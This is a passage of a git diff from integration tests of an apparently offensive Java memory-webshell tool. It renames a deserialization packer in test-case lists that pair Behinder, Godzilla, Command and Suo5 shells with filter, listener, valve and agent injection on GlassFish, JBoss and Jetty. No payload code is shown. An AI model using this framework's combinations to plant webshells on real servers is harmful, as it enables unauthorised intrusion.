ShellTool.Behinder, Packers.Deserialize), + arguments(imageName, Constants.FILTER, ShellTool.Behinder, Packers.JavaDeserialize), arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packers.JSP), - arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packers.Deserialize), + arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packers.JavaDeserialize), arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packers.ScriptEngine), arguments(imageName, Constants.FILTER, ShellTool.Command, Packers.JSP), - arguments(imageName, Constants.FILTER, ShellTool.Command, Packers.Deserialize), + arguments(imageName, Constants.FILTER, ShellTool.Command, Packers.JavaDeserialize), arguments(imageName, Constants.FILTER, ShellTool.Command, Packers.ScriptEngine), arguments(imageName, Constants.FILTER, ShellTool.Suo5, Packers.JSP), - arguments(imageName, Constants.FILTER, ShellTool.Suo5, Packers.Deserialize), + arguments(imageName, Constants.FILTER, ShellTool.Suo5, Packers.JavaDeserialize), arguments(imageName, Constants.FILTER, ShellTool.Suo5, Packers.ScriptEngine), arguments(imageName, Constants.LISTENER, ShellTool.Behinder, Packers.JSP), - arguments(imageName, Constants.LISTENER, ShellTool.Behinder, Packers.Deserialize), + arguments(imageName, Constants.LISTENER, ShellTool.Behinder, Packers.JavaDeserialize), arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packers.JSP), - arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packers.Deserialize), + arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packers.JavaDeserialize), arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packers.ScriptEngine), arguments(imageName, Constants.LISTENER, ShellTool.Command, Packers.JSP), - arguments(imageName, Constants.LISTENER, ShellTool.Command, Packers.Deserialize), + arguments(imageName, Constants.LISTENER, ShellTool.Command, Packers.JavaDeserialize), arguments(imageName, Constants.LISTENER, ShellTool.Command, Packers.ScriptEngine), arguments(imageName, Constants.LISTENER, ShellTool.Suo5, Packers.JSP), - arguments(imageName, Constants.LISTENER, ShellTool.Suo5, Packers.Deserialize), + arguments(imageName, Constants.LISTENER, ShellTool.Suo5, Packers.JavaDeserialize), arguments(imageName, Constants.LISTENER, ShellTool.Suo5, Packers.ScriptEngine), arguments(imageName, Constants.VALVE, ShellTool.Behinder, Packers.JSP), - arguments(imageName, Constants.VALVE, ShellTool.Behinder, Packers.Deserialize), + arguments(imageName, Constants.VALVE, ShellTool.Behinder, Packers.JavaDeserialize), arguments(imageName, Constants.VALVE, ShellTool.Godzilla, Packers.JSP), - arguments(imageName, Constants.VALVE, ShellTool.Godzilla, Packers.Deserialize), + arguments(imageName, Constants.VALVE, ShellTool.Godzilla, Packers.JavaDeserialize), arguments(imageName, Constants.VALVE, ShellTool.Godzilla, Packers.ScriptEngine), arguments(imageName, Constants.VALVE, ShellTool.Command, Packers.JSP), - arguments(imageName, Constants.VALVE, ShellTool.Command, Packers.Deserialize), + arguments(imageName, Constants.VALVE, ShellTool.Command, Packers.JavaDeserialize), arguments(imageName, Constants.VALVE, ShellTool.Command, Packers.ScriptEngine), arguments(imageName, Constants.VALVE, ShellTool.Suo5, Packers.JSP), - arguments(imageName, Constants.VALVE, ShellTool.Suo5, Packers.Deserialize), + arguments(imageName, Constants.VALVE, ShellTool.Suo5, Packers.JavaDeserialize), arguments(imageName, Constants.VALVE, ShellTool.Suo5, Packers.ScriptEngine), arguments(imageName, Constants.AGENT_FILTER_CHAIN, ShellTool.Command, Packers.AgentJar), arguments(imageName, Constants.AGENT_FILTER_CHAIN, ShellTool.Godzilla, Packers.AgentJar), diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/glassfish/GlassFish6ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/glassfish/GlassFish6ContainerTest.java index 3c33092b..8997c228 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/glassfish/GlassFish6ContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/glassfish/GlassFish6ContainerTest.java @@ -44,29 +44,29 @@ public class GlassFish6ContainerTest { static Stream casesProvider() { return Stream.of( arguments(imageName, Constants.JAKARTA_FILTER, ShellTool.Behinder, Packers.JSP), - arguments(imageName, Constants.JAKARTA_FILTER, ShellTool.Behinder, Packers.Deserialize), + arguments(imageName, Constants.JAKARTA_FILTER, ShellTool.Behinder, Packers.JavaDeserialize), arguments(imageName, Constants.JAKARTA_FILTER, ShellTool.Godzilla, Packers.JSP), - arguments(imageName, Constants.JAKARTA_FILTER, ShellTool.Godzilla, Packers.Deserialize), + arguments(imageName, Constants.JAKARTA_FILTER, ShellTool.Godzilla, Packers.JavaDeserialize), arguments(imageName, Constants.JAKARTA_FILTER, ShellTool.Command, Packers.JSP), - arguments(imageName, Constants.JAKARTA_FILTER, ShellTool.Command, Packers.Deserialize), + arguments(imageName, Constants.JAKARTA_FILTER, ShellTool.Command, Packers.JavaDeserialize), arguments(imageName, Constants.JAKARTA_FILTER, ShellTool.Suo5, Packers.JSP), - arguments(imageName, Constants.JAKARTA_FILTER, ShellTool.Suo5, Packers.Deserialize), + arguments(imageName, Constants.JAKARTA_FILTER, ShellTool.Suo5, Packers.JavaDeserialize), arguments(imageName, Constants.JAKARTA_LISTENER, ShellTool.Behinder, Packers.JSP), - arguments(imageName, Constants.JAKARTA_LISTENER, ShellTool.Behinder, Packers.Deserialize), + arguments(imageName, Constants.JAKARTA_LISTENER, ShellTool.Behinder, Packers.JavaDeserialize), arguments(imageName, Constants.JAKARTA_LISTENER, ShellTool.Godzilla, Packers.JSP), - arguments(imageName, Constants.JAKARTA_LISTENER, ShellTool.Godzilla, Packers.Deserialize), + arguments(imageName, Constants.JAKARTA_LISTENER, ShellTool.Godzilla, Packers.JavaDeserialize), arguments(imageName, Constants.JAKARTA_LISTENER, ShellTool.Command, Packers.JSP), - arguments(imageName, Constants.JAKARTA_LISTENER, ShellTool.Command, Packers.Deserialize), + arguments(imageName, Constants.JAKARTA_LISTENER, ShellTool.Command, Packers.JavaDeserialize), arguments(imageName, Constants.JAKARTA_LISTENER, ShellTool.Suo5, Packers.JSP), - arguments(imageName, Constants.JAKARTA_LISTENER, ShellTool.Suo5, Packers.Deserialize), + arguments(imageName, Constants.JAKARTA_LISTENER, ShellTool.Suo5, Packers.JavaDeserialize), arguments(imageName, Constants.JAKARTA_VALVE, ShellTool.Behinder, Packers.JSP), - arguments(imageName, Constants.JAKARTA_VALVE, ShellTool.Behinder, Packers.Deserialize), + arguments(imageName, Constants.JAKARTA_VALVE, ShellTool.Behinder, Packers.JavaDeserialize), arguments(imageName, Constants.JAKARTA_VALVE, ShellTool.Godzilla, Packers.JSP), - arguments(imageName, Constants.JAKARTA_VALVE, ShellTool.Godzilla, Packers.Deserialize), + arguments(imageName, Constants.JAKARTA_VALVE, ShellTool.Godzilla, Packers.JavaDeserialize), arguments(imageName, Constants.JAKARTA_VALVE, ShellTool.Command, Packers.JSP), - arguments(imageName, Constants.JAKARTA_VALVE, ShellTool.Command, Packers.Deserialize), + arguments(imageName, Constants.JAKARTA_VALVE, ShellTool.Command, Packers.JavaDeserialize), arguments(imageName, Constants.JAKARTA_VALVE, ShellTool.Suo5, Packers.JSP), - arguments(imageName, Constants.JAKARTA_VALVE, ShellTool.Suo5, Packers.Deserialize), + arguments(imageName, Constants.JAKARTA_VALVE, ShellTool.Suo5, Packers.JavaDeserialize), arguments(imageName, Constants.AGENT_FILTER_CHAIN, ShellTool.Command, Packers.AgentJar), arguments(imageName, Constants.AGENT_FILTER_CHAIN, ShellTool.Godzilla, Packers.AgentJar), arguments(imageName, Constants.AGENT_FILTER_CHAIN, ShellTool.Behinder, Packers.AgentJar), diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/jbossas/Jboss423ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/jbossas/Jboss423ContainerTest.java index fc9d8795..dabc966a 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/jbossas/Jboss423ContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/jbossas/Jboss423ContainerTest.java @@ -43,29 +43,29 @@ public class Jboss423ContainerTest { static Stream casesProvider() { return Stream.of( arguments(imageName, Constants.FILTER, ShellTool.Behinder, Packers.JSP), - arguments(imageName, Constants.FILTER, ShellTool.Behinder, Packers.Deserialize), + arguments(imageName, Constants.FILTER, ShellTool.Behinder, Packers.JavaDeserialize), arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packers.JSP), - arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packers.Deserialize), + arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packers.JavaDeserialize), arguments(imageName, Constants.FILTER, ShellTool.Command, Packers.JSP), - arguments(imageName, Constants.FILTER, ShellTool.Command, Packers.Deserialize), + arguments(imageName, Constants.FILTER, ShellTool.Command, Packers.JavaDeserialize), arguments(imageName, Constants.FILTER, ShellTool.Suo5, Packers.JSP), - arguments(imageName, Constants.FILTER, ShellTool.Suo5, Packers.Deserialize), + arguments(imageName, Constants.FILTER, ShellTool.Suo5, Packers.JavaDeserialize), arguments(imageName, Constants.LISTENER, ShellTool.Behinder, Packers.JSP), - arguments(imageName, Constants.LISTENER, ShellTool.Behinder, Packers.Deserialize), + arguments(imageName, Constants.LISTENER, ShellTool.Behinder, Packers.JavaDeserialize), arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packers.JSP), - arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packers.Deserialize), + arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packers.JavaDeserialize), arguments(imageName, Constants.LISTENER, ShellTool.Command, Packers.JSP), - arguments(imageName, Constants.LISTENER, ShellTool.Command, Packers.Deserialize), + arguments(imageName, Constants.LISTENER, ShellTool.Command, Packers.JavaDeserialize), arguments(imageName, Constants.LISTENER, ShellTool.Suo5, Packers.JSP), - arguments(imageName, Constants.LISTENER, ShellTool.Suo5, Packers.Deserialize), + arguments(imageName, Constants.LISTENER, ShellTool.Suo5, Packers.JavaDeserialize), arguments(imageName, Constants.VALVE, ShellTool.Behinder, Packers.JSP), - arguments(imageName, Constants.VALVE, ShellTool.Behinder, Packers.Deserialize), + arguments(imageName, Constants.VALVE, ShellTool.Behinder, Packers.JavaDeserialize), arguments(imageName, Constants.VALVE, ShellTool.Godzilla, Packers.JSP), - arguments(imageName, Constants.VALVE, ShellTool.Godzilla, Packers.Deserialize), + arguments(imageName, Constants.VALVE, ShellTool.Godzilla, Packers.JavaDeserialize), arguments(imageName, Constants.VALVE, ShellTool.Command, Packers.JSP), - arguments(imageName, Constants.VALVE, ShellTool.Command, Packers.Deserialize), + arguments(imageName, Constants.VALVE, ShellTool.Command, Packers.JavaDeserialize), arguments(imageName, Constants.VALVE, ShellTool.Suo5, Packers.JSP), - arguments(imageName, Constants.VALVE, ShellTool.Suo5, Packers.Deserialize), + arguments(imageName, Constants.VALVE, ShellTool.Suo5, Packers.JavaDeserialize), arguments(imageName, Constants.AGENT_FILTER_CHAIN, ShellTool.Command, Packers.AgentJar), arguments(imageName, Constants.AGENT_FILTER_CHAIN, ShellTool.Behinder, Packers.AgentJar), arguments(imageName, Constants.AGENT_FILTER_CHAIN, ShellTool.Godzilla, Packers.AgentJar), diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/jbossas/Jboss510ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/jbossas/Jboss510ContainerTest.java index 2fa71eae..be8ebcde 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/jbossas/Jboss510ContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/jbossas/Jboss510ContainerTest.java @@ -46,27 +46,27 @@ public class Jboss510ContainerTest { // arguments(imageName, Constants.FILTER, ShellTool.Behinder, Packer.INSTANCE.JSP), // java.net.SocketTimeoutException: Read timed out // arguments(imageName, Constants.FILTER, ShellTool.Behinder, Packer.INSTANCE.Deserialize), arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packers.JSP), - arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packers.Deserialize), + arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packers.JavaDeserialize), arguments(imageName, Constants.FILTER, ShellTool.Command, Packers.JSP), - arguments(imageName, Constants.FILTER, ShellTool.Command, Packers.Deserialize), + arguments(imageName, Constants.FILTER, ShellTool.Command, Packers.JavaDeserialize), arguments(imageName, Constants.FILTER, ShellTool.Suo5, Packers.JSP), - arguments(imageName, Constants.FILTER, ShellTool.Suo5, Packers.Deserialize), + arguments(imageName, Constants.FILTER, ShellTool.Suo5, Packers.JavaDeserialize), // arguments(imageName, Constants.LISTENER, ShellTool.Behinder, Packer.INSTANCE.JSP), // java.net.SocketTimeoutException: Read timed out // arguments(imageName, Constants.LISTENER, ShellTool.Behinder, Packer.INSTANCE.Deserialize), arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packers.JSP), - arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packers.Deserialize), + arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packers.JavaDeserialize), arguments(imageName, Constants.LISTENER, ShellTool.Command, Packers.JSP), - arguments(imageName, Constants.LISTENER, ShellTool.Command, Packers.Deserialize), + arguments(imageName, Constants.LISTENER, ShellTool.Command, Packers.JavaDeserialize), arguments(imageName, Constants.LISTENER, ShellTool.Suo5, Packers.JSP), - arguments(imageName, Constants.LISTENER, ShellTool.Suo5, Packers.Deserialize), + arguments(imageName, Constants.LISTENER, ShellTool.Suo5, Packers.JavaDeserialize), // arguments(imageName, Constants.VALVE, ShellTool.Behinder, Packer.INSTANCE.JSP), // java.net.SocketTimeoutException: Read timed out // arguments(imageName, Constants.VALVE, ShellTool.Behinder, Packer.INSTANCE.Deserialize), arguments(imageName, Constants.VALVE, ShellTool.Godzilla, Packers.JSP), - arguments(imageName, Constants.VALVE, ShellTool.Godzilla, Packers.Deserialize), + arguments(imageName, Constants.VALVE, ShellTool.Godzilla, Packers.JavaDeserialize), arguments(imageName, Constants.VALVE, ShellTool.Command, Packers.JSP), - arguments(imageName, Constants.VALVE, ShellTool.Command, Packers.Deserialize), + arguments(imageName, Constants.VALVE, ShellTool.Command, Packers.JavaDeserialize), arguments(imageName, Constants.VALVE, ShellTool.Suo5, Packers.JSP), - arguments(imageName, Constants.VALVE, ShellTool.Suo5, Packers.Deserialize), + arguments(imageName, Constants.VALVE, ShellTool.Suo5, Packers.JavaDeserialize), arguments(imageName, Constants.AGENT_FILTER_CHAIN, ShellTool.Command, Packers.AgentJar), // arguments(imageName, Constants.AGENT_FILTER_CHAIN, ShellTool.Behinder, Packer.INSTANCE.AgentJar), arguments(imageName, Constants.AGENT_FILTER_CHAIN, ShellTool.Godzilla, Packers.AgentJar), diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/jbossas/Jboss610ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/jbossas/Jboss610ContainerTest.java index 538bfae0..f0b93473 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/jbossas/Jboss610ContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/jbossas/Jboss610ContainerTest.java @@ -43,29 +43,29 @@ public class Jboss610ContainerTest { static Stream casesProvider() { return Stream.of( arguments(imageName, Constants.FILTER, ShellTool.Behinder, Packers.JSP), - arguments(imageName, Constants.FILTER, ShellTool.Behinder, Packers.Deserialize), + arguments(imageName, Constants.FILTER, ShellTool.Behinder, Packers.JavaDeserialize), arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packers.JSP), - arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packers.Deserialize), + arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packers.JavaDeserialize), arguments(imageName, Constants.FILTER, ShellTool.Command, Packers.JSP), - arguments(imageName, Constants.FILTER, ShellTool.Command, Packers.Deserialize), + arguments(imageName, Constants.FILTER, ShellTool.Command, Packers.JavaDeserialize), arguments(imageName, Constants.FILTER, ShellTool.Suo5, Packers.JSP), - arguments(imageName, Constants.FILTER, ShellTool.Suo5, Packers.Deserialize), + arguments(imageName, Constants.FILTER, ShellTool.Suo5, Packers.JavaDeserialize), arguments(imageName, Constants.LISTENER, ShellTool.Behinder, Packers.JSP), - arguments(imageName, Constants.LISTENER, ShellTool.Behinder, Packers.Deserialize), + arguments(imageName, Constants.LISTENER, ShellTool.Behinder, Packers.JavaDeserialize), arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packers.JSP), - arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packers.Deserialize), + arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packers.JavaDeserialize), arguments(imageName, Constants.LISTENER, ShellTool.Command, Packers.JSP), - arguments(imageName, Constants.LISTENER, ShellTool.Command, Packers.Deserialize), + arguments(imageName, Constants.LISTENER, ShellTool.Command, Packers.JavaDeserialize), arguments(imageName, Constants.LISTENER, ShellTool.Suo5, Packers.JSP), - arguments(imageName, Constants.LISTENER, ShellTool.Suo5, Packers.Deserialize), + arguments(imageName, Constants.LISTENER, ShellTool.Suo5, Packers.JavaDeserialize), arguments(imageName, Constants.VALVE, ShellTool.Behinder, Packers.JSP), - arguments(imageName, Constants.VALVE, ShellTool.Behinder, Packers.Deserialize), + arguments(imageName, Constants.VALVE, ShellTool.Behinder, Packers.JavaDeserialize), arguments(imageName, Constants.VALVE, ShellTool.Godzilla, Packers.JSP), - arguments(imageName, Constants.VALVE, ShellTool.Godzilla, Packers.Deserialize), + arguments(imageName, Constants.VALVE, ShellTool.Godzilla, Packers.JavaDeserialize), arguments(imageName, Constants.VALVE, ShellTool.Command, Packers.JSP), - arguments(imageName, Constants.VALVE, ShellTool.Command, Packers.Deserialize), + arguments(imageName, Constants.VALVE, ShellTool.Command, Packers.JavaDeserialize), arguments(imageName, Constants.VALVE, ShellTool.Suo5, Packers.JSP), - arguments(imageName, Constants.VALVE, ShellTool.Suo5, Packers.Deserialize), + arguments(imageName, Constants.VALVE, ShellTool.Suo5, Packers.JavaDeserialize), arguments(imageName, Constants.AGENT_FILTER_CHAIN, ShellTool.Command, Packers.AgentJar), arguments(imageName, Constants.AGENT_FILTER_CHAIN, ShellTool.Behinder, Packers.AgentJar), arguments(imageName, Constants.AGENT_FILTER_CHAIN, ShellTool.Godzilla, Packers.AgentJar), diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/jetty/Jetty10ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/jetty/Jetty10ContainerTest.java index 7d7e1521..9ee9d4f8 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/jetty/Jetty10ContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/jetty/Jetty10ContainerTest.java @@ -43,29 +43,29 @@ public class Jetty10ContainerTest { static Stream casesProvider() { return Stream.of( arguments(imageName, Constants.SERVLET, ShellTool.Behinder, Packers.JSP), - arguments(imageName, Constants.SERVLET, ShellTool.Behinder, Packers.Deserialize), + arguments(imageName, Constants.SERVLET, ShellTool.Behinder, Packers.JavaDeserialize), arguments(imageName, Constants.SERVLET, ShellTool.Godzilla, Packers.JSP), - arguments(imageName, Constants.SERVLET, ShellTool.Godzilla, Packers.Deserialize), + arguments(imageName, Constants.SERVLET, ShellTool.Godzilla, Packers.JavaDeserialize), arguments(imageName, Constants.SERVLET, ShellTool.Command, Packers.JSP), - arguments(imageName, Constants.SERVLET, ShellTool.Command, Packers.Deserialize), + arguments(imageName, Constants.SERVLET, ShellTool.Command, Packers.JavaDeserialize), arguments(imageName, Constants.SERVLET, ShellTool.Suo5, Packers.JSP), - arguments(imageName, Constants.SERVLET, ShellTool.Suo5, Packers.Deserialize), + arguments(imageName, Constants.SERVLET, ShellTool.Suo5, Packers.JavaDeserialize), arguments(imageName, Constants.FILTER, ShellTool.Behinder, Packers.JSP), - arguments(imageName, Constants.FILTER, ShellTool.Behinder, Packers.Deserialize), + arguments(imageName, Constants.FILTER, ShellTool.Behinder, Packers.JavaDeserialize), arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packers.JSP), - arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packers.Deserialize), + arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packers.JavaDeserialize), arguments(imageName, Constants.FILTER, ShellTool.Command, Packers.JSP), - arguments(imageName, Constants.FILTER, ShellTool.Command, Packers.Deserialize), + arguments(imageName, Constants.FILTER, ShellTool.Command, Packers.JavaDeserialize), arguments(imageName, Constants.FILTER, ShellTool.Suo5, Packers.JSP), - arguments(imageName, Constants.FILTER, ShellTool.Suo5, Packers.Deserialize), + arguments(imageName, Constants.FILTER, ShellTool.Suo5, Packers.JavaDeserialize), arguments(imageName, Constants.LISTENER, ShellTool.Behinder, Packers.JSP), - arguments(imageName, Constants.LISTENER, ShellTool.Behinder, Packers.Deserialize), + arguments(imageName, Constants.LISTENER, ShellTool.Behinder, Packers.JavaDeserialize), arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packers.JSP), - arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packers.Deserialize), + arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packers.JavaDeserialize), arguments(imageName, Constants.LISTENER, ShellTool.Command, Packers.JSP), - arguments(imageName, Constants.LISTENER, ShellTool.Command, Packers.Deserialize), + arguments(imageName, Constants.LISTENER, ShellTool.Command, Packers.JavaDeserialize), arguments(imageName, Constants.LISTENER, ShellTool.Suo5, Packers.JSP), - arguments(imageName, Constants.LISTENER, ShellTool.Suo5, Packers.Deserialize), + arguments(imageName, Constants.LISTENER, ShellTool.Suo5, Packers.JavaDeserialize), arguments(imageName, JettyShell.AGENT_HANDLER, ShellTool.Command, Packers.AgentJar), arguments(imageName, JettyShell.AGENT_HANDLER, ShellTool.Behinder, Packers.AgentJar), arguments(imageName, JettyShell.AGENT_HANDLER, ShellTool.Godzilla, Packers.AgentJar)); diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/jetty/Jetty11ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/jetty/Jetty11ContainerTest.java index 461be6a9..d7ae751e 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/jetty/Jetty11ContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/jetty/Jetty11ContainerTest.java @@ -43,29 +43,29 @@ public class Jetty11ContainerTest { static Stream casesProvider() { return Stream.of( arguments(imageName, Constants.JAKARTA_SERVLET, ShellTool.Behinder, Packers.JSP), - arguments(imageName, Constants.JAKARTA_SERVLET, ShellTool.Behinder, Packers.Deserialize), + arguments(imageName, Constants.JAKARTA_SERVLET, ShellTool.Behinder, Packers.JavaDeserialize), arguments(imageName, Constants.JAKARTA_SERVLET, ShellTool.Godzilla, Packers.JSP), - arguments(imageName, Constants.JAKARTA_SERVLET, ShellTool.Godzilla, Packers.Deserialize), + arguments(imageName, Constants.JAKARTA_SERVLET, ShellTool.Godzilla, Packers.JavaDeserialize), arguments(imageName, Constants.JAKARTA_SERVLET, ShellTool.Command, Packers.JSP), - arguments(imageName, Constants.JAKARTA_SERVLET, ShellTool.Command, Packers.Deserialize), + arguments(imageName, Constants.JAKARTA_SERVLET, ShellTool.Command, Packers.JavaDeserialize), arguments(imageName, Constants.JAKARTA_SERVLET, ShellTool.Suo5, Packers.JSP), - arguments(imageName, Constants.JAKARTA_SERVLET, ShellTool.Suo5, Packers.Deserialize), + arguments(imageName, Constants.JAKARTA_SERVLET, ShellTool.Suo5, Packers.JavaDeserialize), arguments(imageName, Constants.JAKARTA_FILTER, ShellTool.Behinder, Packers.JSP), - arguments(imageName, Constants.JAKARTA_FILTER, ShellTool.Behinder, Packers.Deserialize), + arguments(imageName, Constants.JAKARTA_FILTER, ShellTool.Behinder, Packers.JavaDeserialize), arguments(imageName, Constants.JAKARTA_FILTER, ShellTool.Godzilla, Packers.JSP), - arguments(imageName, Constants.JAKARTA_FILTER, ShellTool.Godzilla, Packers.Deserialize), + arguments(imageName, Constants.JAKARTA_FILTER, ShellTool.Godzilla, Packers.JavaDeserialize), arguments(imageName, Constants.JAKARTA_FILTER, ShellTool.Command, Packers.JSP), - arguments(imageName, Constants.JAKARTA_FILTER, ShellTool.Command, Packers.Deserialize), + arguments(imageName, Constants.JAKARTA_FILTER, ShellTool.Command, Packers.JavaDeserialize), arguments(imageName, Constants.JAKARTA_FILTER, ShellTool.Suo5, Packers.JSP), - arguments(imageName, Constants.JAKARTA_FILTER, ShellTool.Suo5, Packers.Deserialize), + arguments(imageName, Constants.JAKARTA_FILTER, ShellTool.Suo5, Packers.JavaDeserialize), arguments(imageName, Constants.JAKARTA_LISTENER, ShellTool.Behinder, Packers.JSP), - arguments(imageName, Constants.JAKARTA_LISTENER, ShellTool.Behinder, Packers.Deserialize), + arguments(imageName, Constants.JAKARTA_LISTENER, ShellTool.Behinder, Packers.JavaDeserialize), arguments(imageName, Constants.JAKARTA_LISTENER, ShellTool.Godzilla, Packers.JSP), - arguments(imageName, Constants.JAKARTA_LISTENER, ShellTool.Godzilla, Packers.Deserialize), + arguments(imageName, Constants.JAKARTA_LISTENER, ShellTool.Godzilla, Packers.JavaDeserialize), arguments(imageName, Constants.JAKARTA_LISTENER, ShellTool.Command, Packers.JSP), - arguments(imageName, Constants.JAKARTA_LISTENER, ShellTool.Command, Packers.Deserialize), + arguments(imageName, Constants.JAKARTA_LISTENER, ShellTool.Command, Packers.JavaDeserialize), arguments(imageName, Constants.JAKARTA_LISTENER, ShellTool.Suo5, Packers.JSP), - arguments(imageName, Constants.JAKARTA_LISTENER, ShellTool.Suo5, Packers.Deserialize), + arguments(imageName, Constants.JAKARTA_LISTENER, ShellTool.Suo5, Packers.JavaDeserialize), arguments(imageName, JettyShell.AGENT_HANDLER, ShellTool.Command, Packers.AgentJar), arguments(imageName, JettyShell.AGENT_HANDLER, ShellTool.Behinder, Packers.AgentJar), arguments(imageName, JettyShell.AGENT_HANDLER, ShellTool.Godzilla, Packers.AgentJar) diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/jetty/Jetty61ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/jetty/Jetty61ContainerTest.java index a659dad0..ad04a559 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/jetty/Jetty61ContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/jetty/Jetty61ContainerTest.java @@ -42,29 +42,29 @@ public class Jetty61ContainerTest { static Stream casesProvider() { return Stream.of( arguments(imageName, Constants.SERVLET, ShellTool.Behinder, Packers.JSP), - arguments(imageName, Constants.SERVLET, ShellTool.Behinder, Packers.Deserialize), + arguments(imageName, Constants.SERVLET, ShellTool.Behinder, Packers.JavaDeserialize), arguments(imageName, Constants.SERVLET, ShellTool.Godzilla, Packers.JSP), - arguments(imageName, Constants.SERVLET, ShellTool.Godzilla, Packers.Deserialize), + arguments(imageName, Constants.SERVLET, ShellTool.Godzilla, Packers.JavaDeserialize), arguments(imageName, Constants.SERVLET, ShellTool.Command, Packers.JSP), - arguments(imageName, Constants.SERVLET, ShellTool.Command, Packers.Deserialize), + arguments(imageName, Constants.SERVLET, ShellTool.Command, Packers.JavaDeserialize), arguments(imageName, Constants.SERVLET, ShellTool.Suo5, Packers.JSP), - arguments(imageName, Constants.SERVLET, ShellTool.Suo5, Packers.Deserialize), + arguments(imageName, Constants.SERVLET, ShellTool.Suo5, Packers.JavaDeserialize), arguments(imageName, Constants.FILTER, ShellTool.Behinder, Packers.JSP), - arguments(imageName, Constants.FILTER, ShellTool.Behinder, Packers.Deserialize), + arguments(imageName, Constants.FILTER, ShellTool.Behinder, Packers.JavaDeserialize), arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packers.JSP), - arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packers.Deserialize), + arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packers.JavaDeserialize), arguments(imageName, Constants.FILTER, ShellTool.Command, Packers.JSP), - arguments(imageName, Constants.FILTER, ShellTool.Command, Packers.Deserialize), + arguments(imageName, Constants.FILTER, ShellTool.Command, Packers.JavaDeserialize), arguments(imageName, Constants.FILTER, ShellTool.Suo5, Packers.JSP), - arguments(imageName, Constants.FILTER, ShellTool.Suo5, Packers.Deserialize), + arguments(imageName, Constants.FILTER, ShellTool.Suo5, Packers.JavaDeserialize), arguments(imageName, Constants.LISTENER, ShellTool.Behinder, Packers.JSP), - arguments(imageName, Constants.LISTENER, ShellTool.Behinder, Packers.Deserialize), + arguments(imageName, Constants.LISTENER, ShellTool.Behinder, Packers.JavaDeserialize), arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packers.JSP), - arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packers.Deserialize), + arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packers.JavaDeserialize), arguments(imageName, Constants.LISTENER, ShellTool.Command, Packers.JSP), - arguments(imageName, Constants.LISTENER, ShellTool.Command, Packers.Deserialize), + arguments(imageName, Constants.LISTENER, ShellTool.Command, Packers.JavaDeserialize), arguments(imageName, Constants.LISTENER, ShellTool.Suo5, Packers.JSP), - arguments(imageName, Constants.LISTENER, ShellTool.Suo5, Packers.Deserialize) + arguments(imageName, Constants.LISTENER, ShellTool.Suo5, Packers.JavaDeserialize) // arguments(imageName, JettyShell.AGENT_HANDLER, ShellTool.Command, Packer.INSTANCE.AgentJar), // arguments(imageName, JettyShell.AGENT_HANDLER, ShellTool.Behinder, Packer.INSTANCE.AgentJar), // arguments(imageName, JettyShell.AGENT_HANDLER, ShellTool.Godzilla, Packer.INSTANCE.AgentJar) diff --git 